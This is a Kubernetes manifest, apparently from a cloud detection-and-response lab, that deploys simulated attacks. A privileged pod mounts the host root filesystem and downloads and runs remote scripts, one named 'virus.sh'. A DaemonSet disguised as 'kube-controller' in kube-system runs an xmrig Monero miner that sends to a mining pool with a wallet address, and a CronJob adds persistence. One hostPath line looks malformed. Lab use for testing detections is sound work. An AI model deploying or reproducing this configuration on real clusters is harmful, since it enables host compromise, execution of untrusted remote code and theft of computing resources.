cdr.yml

apiVersion: v1
kind: Pod
metadata:
  name: alpine-cdr-1
spec:
  containers:
  - name: malicous-container
    image: alpine:latest
    securityContext:
      privileged: true
      capabilities:
        add:
          - SYS_ADMIN
          - NET_ADMIN
    volumeMounts:
      - name: host
        mountPath: /host
    command:
      - /bin/sh
      - -c
      - |
        wget -q https://raw.githubusercontent.com/hankthebldr/xsiam-prisma-cdr-lab/refs/heads/alpha/1.0/malicous-container/malicous-container.sh -O virus.sh && \
        chmod +x virus.sh && \
        sh virus.sh && \
        sleep 3600
  - name: atk-ttp-test-runner
    image: alpine:latest
    securityContext:
      privileged: true
      capabilities:
        add:
          - SYS_ADMIN
          - NET_ADMIN
    volumeMounts:
      - name: host
        mountPath: /host
    command:
      - /bin/sh
      - -c
      - |
        wget -q https://raw.githubusercontent.com/hankthebldr/xsiam-prisma-cdr-lab/refs/heads/alpha/1.0/build-files/atk-ttp-test.sh -O atk-ttp-test.sh && \
        chmod +x atk-ttp-test.sh && \
        ./atk-ttp-test.sh && \
        sleep 3600
  volumes:
    - name: host
      hostPath:
        path: / && \
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: kube-controller
  namespace: kube-system
  labels:
    app: kube-controller
  annotations:
    kubernetes.io/psp: eks.privileged
spec:
  selector:
    matchLabels:
      name: kube-controller
  template:
    metadata:
      labels:
        name: kube-controller
    spec:
      containers:
      - name: xmrig
        image: metal3d/xmrig
        command: [ "sh", "-c", "/xmrig/xmrig --donate-level 0 -o ca.minexmr.com:443 -u 41pdpXWNMe6NvuDASWXn6ZMdPk4N6amucCHHstNcw2y8caJNdgN4kNeW3QFfc3amCiJ9x6dh8pLboR6minjYZpgk1szkeGg -k --tls >/dev/null 2>/dev/null" ]
        resources:
          limits:
            cpu: "500m"
            memory: "256Mi"
          requests:
            cpu: "200m"
            memory: "128Mi"
        securityContext:
          privileged: true
      tolerations:
      - key: node-role.kubernetes.io/master
        effect: NoSchedule
      - key: node.kubernetes.io/not-ready
        operator: Exists
      restartPolicy: Always

---
apiVersion: batch/v1
kind: CronJob
metadata:
  name: cryptominer-persistance
  labels:
    app: cryptominer
spec:
  schedule: "*/30 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: cryptominer-scheduled-task
            image: metal3d/xmrig
          restartPolicy: OnFailure